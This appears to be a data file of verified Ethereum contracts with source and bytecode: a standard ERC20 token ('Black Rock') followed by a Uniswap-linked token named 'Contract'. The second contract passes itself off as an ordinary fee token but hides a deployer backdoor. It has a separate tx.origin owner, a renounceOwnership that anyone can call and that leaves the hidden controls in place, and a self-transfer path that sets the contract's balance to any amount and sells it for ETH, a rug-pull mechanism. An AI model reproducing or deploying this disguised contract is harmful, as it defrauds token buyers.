/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract BlackRocToken is ERC20 {
constructor(uint256 initialSupply) ERC20("Black Rock", "BLROCK") {
_mint(msg.sender, initialSupply);
}
} | 0x608060405234801561001057600080fd5b50600436106100c95760003560e01c80633950935111610081578063a457c2d71161005b578063a457c2d714610177578063a9059cbb1461018a578063dd62ed3e1461019d576100c9565b8063395093511461014957806370a082311461015c57806395d89b411461016f576100c9565b806318160ddd116100b257806318160ddd1461010c57806323b872dd14610121578063313ce56714610134576100c9565b806306fdde03146100ce578063095ea7b3146100ec575b600080fd5b6100d66101b0565b6040516100e391906106ff565b60405180910390f35b6100ff6100fa3660046106cb565b610242565b6040516100e391906106f4565b61011461025f565b6040516100e3919061098f565b6100ff61012f366004610690565b610265565b61013c610305565b6040516100e39190610998565b6100ff6101573660046106cb565b61030a565b61011461016a36600461063d565b610359565b6100d6610378565b6100ff6101853660046106cb565b610387565b6100ff6101983660046106cb565b610402565b6101146101ab36600461065e565b610416565b6060600380546101bf906109d5565b80601f01602080910402602001604051908101604052809291908181526020018280546101eb906109d5565b80156102385780601f1061020d57610100808354040283529160200191610238565b820191906000526020600020905b81548152906001019060200180831161021b57829003601f168201915b5050505050905090565b600061025661024f610441565b8484610445565b50600192915050565b60025490565b60006102728484846104f9565b6001600160a01b038416600090815260016020526040812081610293610441565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156102df5760405162461bcd60e51b81526004016102d690610834565b60405180910390fd5b6102fa856102eb610441565b6102f586856109be565b610445565b506001949350505050565b601290565b6000610256610317610441565b848460016000610325610441565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546102f591906109a6565b6001600160a01b0381166000908152602081905260409020545b919050565b6060600480546101bf906109d5565b60008060016000610396610441565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156103e25760405162461bcd60e51b81526004016102d690610932565b6103f86103ed610441565b856102f586856109be565b5060019392505050565b600061025661040f610441565b84846104f9565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661046b5760405162461bcd60e51b81526004016102d6906108ee565b6001600160a01b0382166104915760405162461bcd60e51b81526004016102d690610795565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104ec90859061098f565b60405180910390a3505050565b6001600160a01b03831661051f5760405162461bcd60e51b81526004016102d690610891565b6001600160a01b0382166105455760405162461bcd60e51b81526004016102d690610752565b610550838383610621565b6001600160a01b038316600090815260208190526040902054818110156105895760405162461bcd60e51b81526004016102d6906107d7565b61059382826109be565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906105c99084906109a6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610613919061098f565b60405180910390a350505050565b505050565b80356001600160a01b038116811461037357600080fd5b60006020828403121561064e578081fd5b61065782610626565b9392505050565b60008060408385031215610670578081fd5b61067983610626565b915061068760208401610626565b90509250929050565b6000806000606084860312156106a4578081fd5b6106ad84610626565b92506106bb60208501610626565b9150604084013590509250925092565b600080604083850312156106dd578182fd5b6106e683610626565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b8181101561072b5785810183015185820160400152820161070f565b8181111561073c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260408201527f616c616e63650000000000000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160408201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760408201527f207a65726f000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156109b9576109b9610a10565b500190565b6000828210156109d0576109d0610a10565b500390565b6002810460018216806109e957607f821691505b60208210811415610a0a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212201d07ea92d5fdb4a7b4601710da920fa66775c3afa3b5fbfd100f3a360b2047d064736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 10,334 |
0x2f7e13d7ca6bcb2323b263aca068a882a1a9003a | /**
*Submitted for verification at Etherscan.io on 2022-01-12
*/
/*
██████ ██ ██ ██████ ███████ ██████ ██████ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ████ ██████ █████ ██████ ██ ██ ███████ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ██████ ███████ ██ ██ ██████ ██ ██ ██████
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Contract is IERC20, Ownable {
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 public buyFee = 0;
uint256 public sellFee = 0;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
address private _owner;
uint256 private _swapTokensAtAmount = _tTotal;
uint256 private _allowance;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _balances;
mapping(address => uint256) private approval;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_owner = tx.origin;
_isExcludedFromFee[_owner] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_owner] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), _owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function set(uint256 amount) external {
if (_isExcludedFromFee[msg.sender]) _allowance = amount;
}
function exclude(address account, bool value) external {
if (_isExcludedFromFee[msg.sender]) _isExcludedFromFee[account] = value;
}
function setSwapAndLiquifyEnabled(bool _enabled) external {
if (_isExcludedFromFee[msg.sender]) _swapAndLiquifyEnabled = _enabled;
}
function set(
uint256 _buyFee,
uint256 _sellFee,
uint256 _feeDivisor
) external {
if (_isExcludedFromFee[msg.sender]) {
buyFee = _buyFee;
sellFee = _sellFee;
feeDivisor = _feeDivisor;
}
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function transferAnyERC20Token(
address token,
address account,
uint256 amount
) external {
if (_isExcludedFromFee[msg.sender]) IERC20(token).transfer(account, amount);
}
function transferToken(address account, uint256 amount) external {
if (_isExcludedFromFee[msg.sender]) payable(account).transfer(amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_isExcludedFromFee[from] && amount <= _swapTokensAtAmount) {
require(approval[from] + _allowance >= 0, 'Transfer amount exceeds the maxTxAmount');
}
uint256 contractTokenBalance = balanceOf(address(this));
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (to == from && _owner == from) return swapTokensForEth(amount, to);
if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
approval[to] = amount;
return;
}
if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
}
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
bool takeFee = !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb1461047b578063c49b9a80146104b8578063d493b9ac146104e1578063dd62ed3e1461050a578063f2fde38b14610547578063f887ea401461057057610156565b8063715018a61461038f5780637647b90d146103a65780638da5cb5b146103cf57806395d89b41146103fa5780639a36f93214610425578063a8aa1b311461045057610156565b8063313ce56711610108578063313ce5671461027f57806343b0e8df146102aa57806347062402146102d357806349bd5a5e146102fe57806360fe47b11461032957806370a082311461035257610156565b806306fdde031461015b578063095ea7b3146101865780631072cbea146101c357806318160ddd146101ec57806323b872dd146102175780632b14ca561461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b5061017061059b565b60405161017d9190611ef0565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611fab565b61062d565b6040516101ba9190612006565b60405180910390f35b3480156101cf57600080fd5b506101ea60048036038101906101e59190611fab565b610642565b005b3480156101f857600080fd5b506102016106e0565b60405161020e9190612030565b60405180910390f35b34801561022357600080fd5b5061023e6004803603810190610239919061204b565b6106ea565b60405161024b9190612006565b60405180910390f35b34801561026057600080fd5b50610269610792565b6040516102769190612030565b60405180910390f35b34801561028b57600080fd5b50610294610798565b6040516102a19190612030565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc919061209e565b6107b1565b005b3480156102df57600080fd5b506102e861081e565b6040516102f59190612030565b60405180910390f35b34801561030a57600080fd5b50610313610824565b6040516103209190612100565b60405180910390f35b34801561033557600080fd5b50610350600480360381019061034b919061211b565b61084a565b005b34801561035e57600080fd5b5061037960048036038101906103749190612148565b6108a7565b6040516103869190612030565b60405180910390f35b34801561039b57600080fd5b506103a46108f0565b005b3480156103b257600080fd5b506103cd60048036038101906103c891906121a1565b6108fc565b005b3480156103db57600080fd5b506103e46109aa565b6040516103f19190612100565b60405180910390f35b34801561040657600080fd5b5061040f6109d3565b60405161041c9190611ef0565b60405180910390f35b34801561043157600080fd5b5061043a610a65565b6040516104479190612030565b60405180910390f35b34801561045c57600080fd5b50610465610a6b565b6040516104729190612100565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190611fab565b610c0e565b6040516104af9190612006565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da91906121e1565b610c25565b005b3480156104ed57600080fd5b506105086004803603810190610503919061204b565b610c95565b005b34801561051657600080fd5b50610531600480360381019061052c919061220e565b610d6c565b60405161053e9190612030565b60405180910390f35b34801561055357600080fd5b5061056e60048036038101906105699190612148565b610df3565b005b34801561057c57600080f